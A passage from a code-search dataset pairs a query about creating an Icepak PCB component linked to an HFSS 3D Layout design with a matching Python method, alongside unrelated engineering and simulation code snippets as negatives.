9787","0.4806519","0.48055133","0.48043582","0.48039114","0.48036557","0.47994262","0.47959504","0.47959024","0.4792834","0.4792834","0.47897822","0.47774333","0.47726682","0.47677913","0.4765127","0.4764119","0.476158","0.47603178","0.4759433","0.4754519","0.47544283","0.4750047","0.47466394"],"string":"[\n \"0.722886\",\n \"0.6006457\",\n \"0.5916641\",\n \"0.5631487\",\n \"0.55857074\",\n \"0.5567293\",\n \"0.5479314\",\n \"0.547198\",\n \"0.5281856\",\n \"0.52459306\",\n \"0.52106047\",\n \"0.5193295\",\n \"0.5190418\",\n \"0.5168565\",\n \"0.51664287\",\n \"0.51517653\",\n \"0.5136186\",\n \"0.5127592\",\n \"0.5125972\",\n \"0.51216894\",\n \"0.51168144\",\n \"0.5112134\",\n \"0.510693\",\n \"0.5106078\",\n \"0.5103285\",\n \"0.51009655\",\n \"0.5100635\",\n \"0.5079539\",\n \"0.50619555\",\n \"0.5039057\",\n \"0.5001052\",\n \"0.49937442\",\n \"0.49931192\",\n \"0.49914914\",\n \"0.4972953\",\n \"0.49648413\",\n \"0.49635243\",\n \"0.4952579\",\n \"0.4949953\",\n \"0.49472997\",\n \"0.49346337\",\n \"0.49287018\",\n \"0.49194467\",\n \"0.49176586\",\n \"0.49152935\",\n \"0.49132237\",\n \"0.49100932\",\n \"0.49067914\",\n \"0.49039087\",\n \"0.49019247\",\n \"0.49001223\",\n \"0.4898675\",\n \"0.48906606\",\n \"0.48870254\",\n \"0.488601\",\n \"0.48847595\",\n \"0.48816007\",\n \"0.4879939\",\n \"0.4879939\",\n \"0.48767257\",\n \"0.48766723\",\n \"0.4875142\",\n \"0.4870783\",\n \"0.48702073\",\n \"0.48589423\",\n \"0.4853871\",\n \"0.4843653\",\n \"0.48400918\",\n \"0.4835678\",\n \"0.48354363\",\n \"0.4834845\",\n \"0.48296198\",\n \"0.48264262\",\n \"0.48253185\",\n \"0.48201874\",\n \"0.4817155\",\n \"0.48139787\",\n \"0.4806519\",\n \"0.48055133\",\n \"0.48043582\",\n \"0.48039114\",\n \"0.48036557\",\n \"0.47994262\",\n \"0.47959504\",\n \"0.47959024\",\n \"0.4792834\",\n \"0.4792834\",\n \"0.47897822\",\n \"0.47774333\",\n \"0.47726682\",\n \"0.47677913\",\n \"0.4765127\",\n \"0.4764119\",\n \"0.476158\",\n \"0.47603178\",\n \"0.4759433\",\n \"0.4754519\",\n \"0.47544283\",\n \"0.4750047\",\n \"0.47466394\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7250074"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80082,"cells":{"query":{"kind":"string","value":"Create a PCB component in Icepak that is linked to an HFSS 3D Layout object linking only to the geometry file."},"document":{"kind":"string","value":"def create_pcb_from_3dlayout(\n self,\n component_name,\n project_name,\n design_name,\n resolution=2,\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n close_linked_project_after_import=True,\n custom_x_resolution=None,\n custom_y_resolution=None,\n ):\n if project_name == self.project_name:\n project_name = \"This Project*\"\n link_data = [project_name, design_name, \"<--EDB Layout Data-->\", False, False]\n status = self.create_ipk_3dcomponent_pcb(\n component_name,\n link_data,\n \"\",\n resolution,\n extenttype=extenttype,\n outlinepolygon=outlinepolygon,\n custom_x_resolution=custom_x_resolution,\n custom_y_resolution=custom_y_resolution,\n )\n\n if close_linked_project_after_import and \".aedt\" in project_name:\n prjname = os.path.splitext(os.path.basename(project_name))[0]\n self.close_project(prjname, saveproject=False)\n self.logger.glb.info(\"PCB component correctly created in Icepak.\")\n return status"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def create_ipk_3dcomponent_pcb(\n self,\n compName,\n setupLinkInfo,\n solutionFreq,\n resolution,\n PCB_CS=\"Global\",\n rad=\"Nothing\",\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n powerin=\"0W\",\n custom_x_resolution=None,\n custom_y_resolution=None,\n ):\n lowRad, highRad = self.get_radiation_settings(rad)\n hfssLinkInfo = OrderedDict({})\n arg2dict(self.get_link_data(setupLinkInfo), hfssLinkInfo)\n\n native_props = OrderedDict(\n {\n \"NativeComponentDefinitionProvider\": OrderedDict(\n {\n \"Type\": \"PCB\",\n \"Unit\": self.modeler.model_units,\n \"MovePlane\": \"XY\",\n \"Use3DLayoutExtents\": False,\n \"ExtentsType\": extenttype,\n \"OutlinePolygon\": outlinepolygon,\n \"CreateDevices\": False,\n \"CreateTopSolderballs\": False,\n \"CreateBottomSolderballs\": False,\n \"Resolution\": int(resolution),\n \"LowSide\": OrderedDict({\"Radiate\": lowRad}),\n \"HighSide\": OrderedDict({\"Radiate\": highRad}),\n }\n )\n }\n )\n native_props[\"BasicComponentInfo\"] = OrderedDict({\"IconType\": \"PCB\"})\n\n if custom_x_resolution and custom_y_resolution:\n native_props[\"NativeComponentDefinitionProvider\"][\"UseThermalLink\"] = solutionFreq != \"\"\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolution\"] = True\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolutionRow\"] = custom_x_resolution\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolutionCol\"] = 600\n # compDefinition += [\"UseThermalLink:=\", solutionFreq!=\"\",\n # \"CustomResolution:=\", True, \"CustomResolutionRow:=\", custom_x_resolution,\n # \"CustomResolutionCol:=\", 600]\n else:\n native_props[\"NativeComponentDefinitionProvider\"][\"UseThermalLink\"] = solutionFreq != \"\"\n native_props[\"NativeComponentDefinitionProvider\"][\"CustomResolution\"] = False\n # compDefinition += [\"UseThermalLink:=\", solutionFreq != \"\",\n # \"CustomResolution:=\", False]\n if solutionFreq:\n native_props[\"NativeComponentDefinitionProvider\"][\"Frequency\"] = solutionFreq\n native_props[\"NativeComponentDefinitionProvider\"][\"DefnLink\"] = hfssLinkInfo[\"DefnLink\"]\n # compDefinition += [\"Frequency:=\", solutionFreq, hfssLinkInfo]\n else:\n native_props[\"NativeComponentDefinitionProvider\"][\"Power\"] = powerin\n native_props[\"NativeComponentDefinitionProvider\"][\"DefnLink\"] = hfssLinkInfo[\"DefnLink\"]\n # compDefinition += [\"Power:=\", powerin, hfssLinkInfo]\n\n native_props[\"TargetCS\"] = PCB_CS\n native = NativeComponentObject(self, \"PCB\", compName, native_props)\n if native.create():\n self.modeler.primitives.refresh_all_ids()\n self.materials._load_from_project()\n self.native_components.append(native)\n return native\n return False","def build(cmpd, density=0.5*u.gram/(u.cm**3), n_compounds=1000, \n ff='ff/TraPPE_UA_3_fully_flexible_propane.xml'):\n density.convert_to_units(u.kilogram/u.m**3)\n\n # Pack a box\n box = mb.fill_box(cmpd, n_compounds=n_compounds, density=density.value)\n\n # Wrap coordinates\n new_xyz = box.xyz - 1 * np.floor_divide(box.xyz, box.periodicity) * box.periodicity\n box.xyz = new_xyz\n\n # Apply non-atomistic, custom element naming convention\n for part in box.particles():\n part.name = \"_\" + part.name\n\n # Utilize foyer to parametrize our box\n ff = foyer.Forcefield(forcefield_files=ff)\n box = box.to_parmed(infer_residues=True)\n parametrized_structure = ff.apply(box, combining_rule='lorentz')\n\n # Dump initial coordinates\n parametrized_structure.save('compound.pdb', overwrite=True)\n parametrized_structure.save('compound.mol2', overwrite=True)\n parametrized_structure.save('compound.gro', overwrite=True)\n\n return parametrized_structure","def firmware_pack_create(handle, org_name, name, rack_bundle_version,\n blade_bundle_version, descr=\"\", mode=\"staged\",\n org_parent=\"org-root\"):\n\n org_dn = org_parent + \"/org-\" + org_name\n p_mo = handle.query_dn(org_dn)\n if not p_mo:\n log.info(\"Sub-Org <%s> not found!\" % org_name)\n else:\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import\\\n FirmwareComputeHostPack\n\n mo = FirmwareComputeHostPack(parent_mo_or_dn=org_dn,\n name=name,\n descr=descr,\n rack_bundle_version=rack_bundle_version,\n mode=mode,\n blade_bundle_version=blade_bundle_version)\n handle.add_mo(mo)\n handle.commit()","def program_new_pcb(fx3_firmware, fpga_firmware, VID=default_VID, PID=default_PID, di_file=default_di_file):\n fx3.program_new_pcb(fx3_firmware, VID=VID, PID=PID, di_file=di_file)","def __init__(self, structure_id, pdb_file, amb_file, flex1_file, flex2_file, root_dir=None):\n\n super(DOCK, self).__init__(id=structure_id, description='DOCK6 preparation')\n self._root_dir = None\n self.structure_path = pdb_file\n\n if root_dir:\n self.root_dir = root_dir\n else:\n self.root_dir = self.structure_dir\n\n self.dockprep_path = None\n self.receptormol2_path = None\n self.receptorpdb_path = None\n self.dms_path = None\n self.sphgen_path = None\n self.bindingsite_path = None\n self.sphsel_path = None\n self.box_path = None\n self.grid_path = None\n\n self.dock_flexible_outfile = None\n self.dock_flexible_scored_result = None\n self.dock_flexible_conformers_result = None\n\n self.amb_file = amb_file\n self.flex1_file = flex1_file\n self.flex2_file = flex2_file\n\n log.debug('{}: created DOCK6 project folder at {}'.format(structure_id, self.dock_dir))","def hfp_create(handle, org_dn, name,\r\n blade_bundle_version=\"\",\r\n rack_bundle_version=\"\",\r\n ignore_comp_check=\"yes\",\r\n update_trigger=\"immediate\",\r\n mode=\"staged\",\r\n stage_size=\"0\",\r\n policy_owner=\"local\",\r\n descr=\"testdescr\"):\r\n\r\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import \\\r\n FirmwareComputeHostPack\r\n\r\n org = handle.query_dn(org_dn)\r\n if org is None:\r\n raise ValueError(\"Org '%s' does not exist\" % org_dn)\r\n\r\n mo = FirmwareComputeHostPack(parent_mo_or_dn=\"org-root\",\r\n name=name,\r\n blade_bundle_version=blade_bundle_version,\r\n rack_bundle_version=rack_bundle_version,\r\n ignore_comp_check=ignore_comp_check,\r\n update_trigger=update_trigger,\r\n mode=mode,\r\n stage_size=stage_size,\r\n policy_owner=policy_owner,\r\n descr=descr)\r\n handle.add_mo(mo, modify_present=True)\r\n handle.commit()\r\n\r\n return mo","def test_make_layout():\n raw = hcp.read_raw(data_type='rest', **hcp_params).crop(0, 1).load_data()\n raw.pick_types()\n lout = make_hcp_bti_layout(raw.info)\n assert_equal(lout.names, raw.info['ch_names'])","def produce(self, layout, layers, parameters, cell):\n self._layers = layers\n self.cell = cell\n self._param_values = parameters\n self.layout = layout\n\n\n # cell: layout cell to place the layout\n # LayerSiN: which layer to use\n # r: radius\n # w: waveguide width\n # length units in dbu\n\n from math import pi, cos, sin\n from SiEPIC.utils import arc, arc_to_waveguide, points_per_circle, arc_wg\n\n # fetch the parameters\n dbu = self.layout.dbu\n ly = self.layout\n shapes = self.cell.shapes\n \n LayerSi = self.silayer\n LayerSiN = self.silayer_layer\n LayerPinRecN = ly.layer(self.pinrec)\n LayerDevRecN = ly.layer(self.devrec)\n \n w = int(round(self.wg_width/dbu))\n r = int(round(self.radius/dbu))\n\n # draw the quarter-circle\n x = -r\n y = r\n # layout_arc_wg_dbu(self.cell, LayerSiN, x, y, r, w, 270, 360)\n t = Trans(Trans.R0,x, y)\n self.cell.shapes(LayerSiN).insert(arc_to_waveguide(arc(r, 270, 360), w).transformed(t))\n \n # Create the pins on the waveguides, as short paths:\n from SiEPIC._globals import PIN_LENGTH as pin_length\n \n # Pin on the top side:\n p2 = [Point(0, y-pin_length/2), Point(0, y+pin_length/2)]\n p2c = Point(0, y)\n self.set_p2 = p2c\n self.p2 = p2c\n pin = Path(p2, w)\n shapes(LayerPinRecN).insert(pin)\n t = Trans(Trans.R0, 0, y)\n text = Text (\"pin2\", t)\n shape = shapes(LayerPinRecN).insert(text)\n shape.text_size = 0.4/dbu\n\n # Pin on the left side:\n p1 = [Point(pin_length/2+x,0), Point(-pin_length/2+x,0)]\n p1c = Point(x,0)\n self.set_p1 = p1c\n self.p1 = p1c\n pin = Path(p1, w)\n shapes(LayerPinRecN).insert(pin)\n t = Trans(Trans.R0, x, 0)\n text = Text (\"pin1\", t)\n shape = shapes(LayerPinRecN).insert(text)\n shape.text_size = 0.4/dbu\n\n # Create the device recognition layer -- make it 1 * wg_width away from the waveguides.\n t = Trans(Trans.R0,x, y)\n self.cell.shapes(LayerDevRecN).insert(arc_to_waveguide(arc(r, 270, 360), w*3).transformed(t))\n #layout_arc_wg_dbu(self.cell, LayerDevRecN, x, y, r, w*3, 270, 360)\n\n # Compact model information\n t = Trans(Trans.R0, x+r/10, 0)\n text = Text (\"Lumerical_INTERCONNECT_library=Design kits/EBeam\", t)\n shape = shapes(LayerDevRecN).insert(text)\n shape.text_size = r/100\n t = Trans(Trans.R0, x+r/10, r/4)\n text = Text ('Component=ebeam_bend_1550', t)\n shape = shapes(LayerDevRecN).insert(text)\n shape.text_size = r/100\n t = Trans(Trans.R0, x+r/10, r/2)\n text = Text ('Spice_param:radius=%.3fu wg_width=%.3fu'% (self.radius,self.wg_width), t)\n shape = shapes(LayerDevRecN).insert(text)\n shape.text_size = r/100","def build(self, name=None):\n wire_body = brep().createWireFromCurves(self._segments, allowSelfIntersections=False)[0]\n return BRepComponent(brep().createFaceFromPlanarWires([wire_body]), name=name)","def Initialize():\n # --- Set four-character run id, comment lines, user's name.\n top.pline2 = \"Example 3D beam in a FODO lattice\"\n top.pline1 = \"S-G cigar beam. 64x64x256\"\n top.runmaker = \"David P. Grote\"\n\n # --- Invoke setup routine - it is needed to created a cgm file for plots\n setup()\n\n # --- Create the beam species\n beam = Species(type=Potassium,charge_state=+1,name=\"Beam species\")\n\n # --- Set input parameters describing the beam, 72 to 17.\n beam.b0 = 15.358933450767e-3\n beam.a0 = 8.6379155933081e-3\n beam.x0 = 3.*mm\n beam.emit = 51.700897052724e-6\n beam.ap0 = 0.e0\n beam.bp0 = 0.e0\n beam.ibeam = 2.e-03\n beam.vbeam = 0.e0\n beam.ekin = 80.e3\n beam.aion = beam.type.A\n beam.zion = beam.charge_state\n top.lrelativ = false\n top.derivqty()\n beam.vthz = .5e0*beam.vbeam*beam.emit/sqrt(beam.a0*beam.b0) # Vthz ~ Vthperp\n\n # +++ Set up arrays describing lattice.\n # --- Set temp variables.\n hlp = 36.0e-2 # half lattice period length\n piperad = 3.445e-2 # pipe radius\n quadlen = 11.e-2 # quadrupole length\n gaplen = 4.*cm\n rodlen = quadlen + gaplen\n dbdx = .949/quadlen\n\n # --- Set general lattice variables.\n top.tunelen = 2.e0*hlp\n env.zl = -hlp*2\n env.zu = -env.zl\n env.dzenv = top.tunelen/100.e0\n\n # --- Set up quadrupoles\n addnewquad(zs= -quadlen/2.,\n ze= +quadlen/2.,\n db=-dbdx,ap=piperad)\n addnewquad(zs=hlp - quadlen/2.,\n ze=hlp + quadlen/2.,\n db=+dbdx,ap=piperad)\n addnewquad(zs=2.*hlp - quadlen/2.,\n ze=2.*hlp + quadlen/2.,\n db=-dbdx,ap=piperad)\n top.zlatstrt = 0.\n top.zlatperi = 2.e0*hlp\n\n # +++ Set input parameters describing the 3d simulation.\n w3d.nx = 64/2\n w3d.ny = 64/2\n w3d.nz = 256/2\n steps_p_perd = 50\n top.dt = (top.tunelen/steps_p_perd)/beam.vbeam\n\n # --- Set to finite beam.\n top.pbound0 = top.pboundnz = periodic\n top.pboundxy = absorb\n w3d.xmmin = -piperad\n w3d.xmmax = piperad\n w3d.ymmin = -piperad\n w3d.ymmax = piperad\n w3d.zmmin = -hlp*2\n w3d.zmmax = +hlp*2\n top.prwall = piperad\n\n # --- Set pulse length.\n beam.zimin = w3d.zmmin*.95/2.\n beam.zimax = w3d.zmmax*.95/2.\n\n # --- Load Semi-Gaussian cigar beam.\n top.npmax = 20000\n w3d.distrbtn = \"semigaus\"\n w3d.cigarld = true\n w3d.xrandom = \"digitrev\"\n w3d.vtrandom = \"digitrev\"\n w3d.vzrandom = \"digitrev\"\n w3d.ldprfile = \"polar\"\n w3d.cylinder = false\n top.straight = .8\n\n # --- set up field solver\n w3d.l4symtry = true\n w3d.bound0 = periodic\n w3d.boundnz = periodic\n w3d.boundxy = dirichlet\n\n solver = MultiGrid3D()\n registersolver(solver)\n\n pipe = ZCylinderOut(piperad,4.,voltage=0.)\n installconductors(pipe,dfill=largepos)\n\n # --- Run the envelope solver to provide data used to initialize particles.\n package(\"env\")\n generate()\n step()\n\n # --- Generate the PIC code (allocate storage, load ptcls, t=0 plots, etc.).\n package(\"w3d\")\n generate()\n return","def surface_template(self, chain):\n output_name = output_folder + \"/surface_output_\" + str(self.input_pdb_path).split(\"/\")[-1][0:-4] + \"_\" + chain\n output_string = 'mol new ' + self.input_pdb_path + '\\n' \\\n + 'set allsel [atomselect top \"all and chain ' + chain + '\"]' + '\\n' \\\n + 'set chain ' + chain + '\\n' \\\n + 'set tot_sasa [dict create ARG 241 TRP 259 TYR 229' \\\n + ' LYS 211 PHE 218 MET 204 GLN 189 HIS 194 HSD 194 HSE 194 HSP 194 GLU' \\\n + ' 183 LEU 180 ILE 182 ASN 158 ASP 151 CYS 140 VAL 160 THR 146 PRO 143 ' \\\n + 'SER 122 ALA 113 GLY 85]' + '\\n' \\\n + 'set residlist [lsort -unique [$allsel get resid]]' + '\\n' \\\n + 'set surf_list [list]' + '\\n' \\\n + 'foreach r $residlist {' + '\\n' \\\n + 'set sel [atomselect top \"resid $r and chain $chain\"]' + '\\n' \\\n + 'set temp_rsasa [measure sasa 1.4 $allsel -restrict $sel]' + '\\n' \\\n + 'set temp_name [lsort -unique [$sel get resname]]' + '\\n' \\\n + 'set temp_id [lsort -unique [$sel get resid]]' + '\\n' \\\n + 'set temp_tot [dict get $tot_sasa $temp_name]' + '\\n' \\\n + 'set rsasa [expr $temp_rsasa/$temp_tot]' + '\\n' \\\n + 'if {$rsasa > 0.2} {lappend surf_list \"$temp_id $temp_name\"}' + '\\n' \\\n + '}' + '\\n' \\\n + 'set fileId [open ' + output_name + ' w]' + '\\n' \\\n + 'puts $fileId $surf_list' + '\\n' \\\n + 'close $fileId' + '\\n' \\\n + 'quit' + '\\n' \\\n + 'exit' + '\\n'\n return output_string","def WindingDesign(main):\n oEditor = main['ANSYS']['oEditor']\n\n # Slots number\n Slots = main['ANSYS']['FixedVariables']['Slots']\n\n # SlotType\n SlotType = main['ANSYS']['FixedVariables']['SlotType']\n\n # Geimetric parameters\n g = main['ANSYS']['DesignProperties']['Stator']['g']\n\n Hs0 = main['ANSYS']['DesignProperties']['Slot']['Hs0']\n Hs1 = main['ANSYS']['DesignProperties']['Slot']['Hs1']\n Hs2 = main['ANSYS']['DesignProperties']['Slot']['Hs2']\n Bs1 = main['ANSYS']['DesignProperties']['Slot']['Bs1']\n Bs2 = main['ANSYS']['DesignProperties']['Slot']['Bs2']\n\n DiaGap = main['ANSYS']['DesignProperties']['Rotor']['DiaGap']\n\n # Coils Arrange ABC\n PhasesABC = main['ANSYS']['Winding']['ABC']\n\n # Color used for phases\n Color = main['ANSYS']['Winding']['Color']\n\n oEditor.CreateUserDefinedPart(\n [\n \"NAME:UserDefinedPrimitiveParameters\",\n \"DllName:=\"\t\t, \"RMxprt/LapCoil.dll\",\n \"Version:=\"\t\t, \"16.0\",\n \"NoOfParameters:=\"\t, 22,\n \"Library:=\"\t\t, \"syslib\",\n [\n \"NAME:ParamVector\",\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"DiaGap\",\n \"Value:=\"\t\t, \"DiaGap+g*2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"DiaYoke\",\n \"Value:=\"\t\t, \"DiaYoke\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Length\",\n \"Value:=\"\t\t, \"0mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Skew\",\n \"Value:=\"\t\t, \"0deg\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Slots\",\n \"Value:=\"\t\t, str(int(Slots))\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"SlotType\",\n \"Value:=\"\t\t, str(int(SlotType))\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Hs0\",\n \"Value:=\"\t\t, \"Hs0\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Hs1\",\n \"Value:=\"\t\t, \"Hs1\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Hs2\",\n \"Value:=\"\t\t, \"Hs2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Bs0\",\n \"Value:=\"\t\t, \"Bs0\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Bs1\",\n \"Value:=\"\t\t, \"Bs1\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Bs2\",\n \"Value:=\"\t\t, \"Bs2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Rs\",\n \"Value:=\"\t\t, \"Rs\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"FilletType\",\n \"Value:=\"\t\t, \"0\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Layers\",\n \"Value:=\"\t\t, \"2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"CoilPitch\",\n \"Value:=\"\t\t, \"1\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"EndExt\",\n \"Value:=\"\t\t, \"5mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"SpanExt\",\n \"Value:=\"\t\t, \"25mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"BendAngle\",\n \"Value:=\"\t\t, \"0deg\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"SegAngle\",\n \"Value:=\"\t\t, \"10deg\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"LenRegion\",\n \"Value:=\"\t\t, \"200mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"InfoCoil\",\n \"Value:=\"\t\t, \"0\"\n ]\n ]\n ],\n [\n \"NAME:Attributes\",\n \"Name:=\"\t\t, \"LapCoil1\",\n \"Flags:=\"\t\t, \"\",\n \"Color:=\"\t\t, \"(143 175 143)\",\n \"Transparency:=\"\t, 0,\n \"PartCoordinateSystem:=\", \"Global\",\n \"UDMId:=\"\t\t, \"\",\n \"MaterialValue:=\"\t, \"\\\"copper\\\"\",\n \"SurfaceMaterialValue:=\", \"\\\"\\\"\",\n \"SolveInside:=\"\t\t, True,\n \"ShellElement:=\"\t, False,\n \"ShellElementThickness:=\", \"0mm\",\n \"IsMaterialEditable:=\"\t, True,\n \"UseMaterialAppearance:=\", False,\n \"IsLightweight:=\"\t, False\n ]\n )\n\n # Body Separation\n oEditor.SeparateBody(\n [\n \"NAME:Selections\",\n \"Selections:=\"\t\t, \"LapCoil1\",\n \"NewPartsModelFlag:=\"\t, \"Model\"\n ],\n [\n \"CreateGroupsForNewObjects:=\", False\n ]\n )\n\n # Average Slot Width\n AverWidth = (Bs2 + Bs1)/2\n\n # Average Radius\n AverRadius = DiaGap/2 + g + Hs0 + Hs1 + Hs2*0.75\n\n # Angle to shift and find the kth tooth\n ShiftSlot = 1/Slots*np.pi\n\n # Angle to fond the corrent layer\n ShiftLayer = np.arctan(AverWidth/4/AverRadius)\n\n # List to save the coils sides names\n WindingNames = [[], [], []]\n\n # Phases name to employed\n PhaseNames = ['A', 'B', 'C']\n\n for phase, row in enumerate(PhasesABC):\n\n PhaseName = [[], []]\n\n for coil, slot in enumerate(row):\n\n SlotAngle = np.abs(slot)/Slots*2*np.pi - ShiftSlot\n\n if coil % 2 == 1:\n SlotAngle = SlotAngle - ShiftLayer\n\n else:\n SlotAngle = SlotAngle + ShiftLayer\n\n x = np.cos(SlotAngle)*AverRadius\n y = np.sin(SlotAngle)*AverRadius\n\n Name0 = oEditor.GetBodyNamesByPosition(\n [\n \"NAME:Parameters\",\n \"XPosition:=\", str(x)+\"mm\",\n \"YPosition:=\", str(y)+\"mm\",\n \"ZPosition:=\", \"0mm\"\n ]\n )\n\n C = Color[phase]\n\n if np.sign(slot) == 1:\n\n CoilSideName = PhaseNames[phase]+\"In\"+str(np.abs(coil))\n\n PhaseName[0] += [CoilSideName]\n\n oEditor.ChangeProperty(\n [\n \"NAME:AllTabs\",\n [\n \"NAME:Geometry3DAttributeTab\",\n [\n \"NAME:PropServers\",\n Name0[0]\n ],\n [\n \"NAME:ChangedProps\",\n [\n \"NAME:Name\",\n \"Value:=\"\t\t,\n CoilSideName\n ],\n [\n \"NAME:Color\",\n \"R:=\"\t\t\t, C[0],\n \"G:=\"\t\t\t, C[1],\n \"B:=\"\t\t\t, C[2]\n ],\n\n ]\n ]\n ]\n )\n else:\n\n CoilSideName = PhaseNames[phase]+\"Out\"+str(np.abs(coil))\n\n PhaseName[1] += [CoilSideName]\n\n oEditor.ChangeProperty(\n [\n \"NAME:AllTabs\",\n [\n \"NAME:Geometry3DAttributeTab\",\n [\n \"NAME:PropServers\",\n Name0[0]\n ],\n [\n \"NAME:ChangedProps\",\n [\n \"NAME:Name\",\n \"Value:=\"\t\t,\n CoilSideName\n ],\n [\n \"NAME:Color\",\n \"R:=\"\t\t\t, C[0],\n \"G:=\"\t\t\t, C[1],\n \"B:=\"\t\t\t, C[2],\n ],\n\n ]\n ]\n ]\n )\n\n WindingNames[phase] += PhaseName\n\n main['ANSYS']['Winding']['CoilNames'] = WindingNames\n\n return main","def __init__(\n self,\n model,\n ipakcb=None,\n intercellt=0,\n laycon=3,\n trpy=1.0,\n hdry=-1e30,\n iwdflg=0,\n wetfct=0.1,\n iwetit=1,\n ihdwet=0,\n ikvflag=0,\n ikcflag=0,\n tran=1.0,\n hy=1.0,\n vcont=1.0,\n kv=1.0,\n anglex=0.0,\n ksat=1.0,\n sf1=1e-5,\n sf2=0.15,\n wetdry=-0.01,\n extension=\"bcf\",\n unitnumber=None,\n filenames=None,\n add_package=True,\n ):\n msg = (\n \"Model object must be of type flopy.mfusg.MfUsg\\n\"\n f\"but received type: {type(model)}.\"\n )\n assert isinstance(model, MfUsg), msg\n\n super().__init__(\n model,\n ipakcb=ipakcb,\n intercellt=intercellt,\n laycon=laycon,\n trpy=trpy,\n hdry=hdry,\n iwdflg=iwdflg,\n wetfct=wetfct,\n iwetit=iwetit,\n ihdwet=ihdwet,\n tran=tran,\n hy=hy,\n vcont=vcont,\n sf1=sf1,\n sf2=sf2,\n wetdry=wetdry,\n extension=extension,\n unitnumber=unitnumber,\n filenames=filenames,\n add_package=False,\n )\n\n dis = model.get_package(\"DIS\")\n if dis is None:\n dis = model.get_package(\"DISU\")\n structured = self.parent.structured\n\n nrow, ncol, nlay, _ = self.parent.nrow_ncol_nlay_nper\n\n self.ikvflag = ikvflag\n self.ikcflag = ikcflag\n self.kv = kv\n self.anglex = anglex\n self.ksat = ksat\n\n if not structured:\n njag = dis.njag\n self.anglex = Util2d(\n model,\n (njag,),\n np.float32,\n anglex,\n \"anglex\",\n locat=self.unit_number[0],\n )\n\n # item 1\n self.kv = Util3d(\n model,\n (nlay, nrow, ncol),\n np.float32,\n kv,\n \"Vertical Hydraulic Conductivity\",\n locat=self.unit_number[0],\n )\n if not structured:\n self.ksat = Util3d(\n model,\n (njag,),\n np.float32,\n ksat,\n \"ksat\",\n locat=self.unit_number[0],\n )\n\n if add_package:\n self.parent.add_package(self)","def construct_inp(self, path, nuclide, keylines, title = None, \n xs_measurement = None):\n # Add data format to keylines - should always be there #\n if not self.data_format in keylines:\n keylines = [self.data_format] + keylines \n #\n # Get thickness and reaction type from xs_measurement if possible, #\n # otherwise use defaults #\n try: thickness = xs_measurement.experiment.thickness \n except: thickness = self.default_thickness\n try: xs_type = xs_measurement.sammy_type\n except: xs_type = self.default_xs_type\n #\n # Set title #\n if title == None:\n title = 'SAMMY inp file for %s-%s' % (nuclide.element, nuclide.mass)\n #\n with open(path,'w') as f:\n # Write to the .inp file #\n f.write(title[:80] + '\\n')\n write_to_position(f, ['%s%i' % (nuclide.element, nuclide.mass), \n nuclide.weight], [0, 10])\n for keyline in keylines + ['']:\n f.write(keyline + '\\n')\n write_to_position(f, self.temperature, 0)\n write_to_position(f, [nuclide.channel_radius, thickness],[0, 10])\n write_to_position(f, xs_type, 0)\n #","def sketch_und_part(self):\n if (self.dimension == '3D'):\n #Sketch Wuerfel zeichnen\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\n name='Seitenansicht_Wuerfel',\n sheetSize=200.0)\n self.sketch_Wuerfel.rectangle(\n point1=(-self.laenge_x/2.0, -self.laenge_y/2.0),\n point2=(self.laenge_x/2.0, self.laenge_y/2.0))\n #Part Wuerfel generieren\n self.part_Wuerfel = self.model.Part(\n name=self.name+'_Wuerfel',\n dimensionality=THREE_D,\n type=DEFORMABLE_BODY)\n self.part_Wuerfel.BaseSolidExtrude(\n sketch=self.sketch_Wuerfel,\n depth=self.laenge_z/2.0) #z-Symmetrie\n #Sketch Pore zeichnen (fuer Quader und Zylinder)\n self.sketch_Pore = self.model.ConstrainedSketch(\n name='Seitenansicht_Pore',\n sheetSize=200.0)\n if (self.typ_Pore == 'Quader'):\n self.sketch_Pore.rectangle(\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Zylinder'):\n self.sketch_Pore.EllipseByCenterPerimeter(\n center=(0.0, 0.0),\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\n axisPoint2=(0.0, self.porenparameter_y/2.0))\n elif (self.typ_Pore == 'Ellipsoid' ):\n matlab.ellipsoidIgesOut(\n self.porenparameter_x,\n 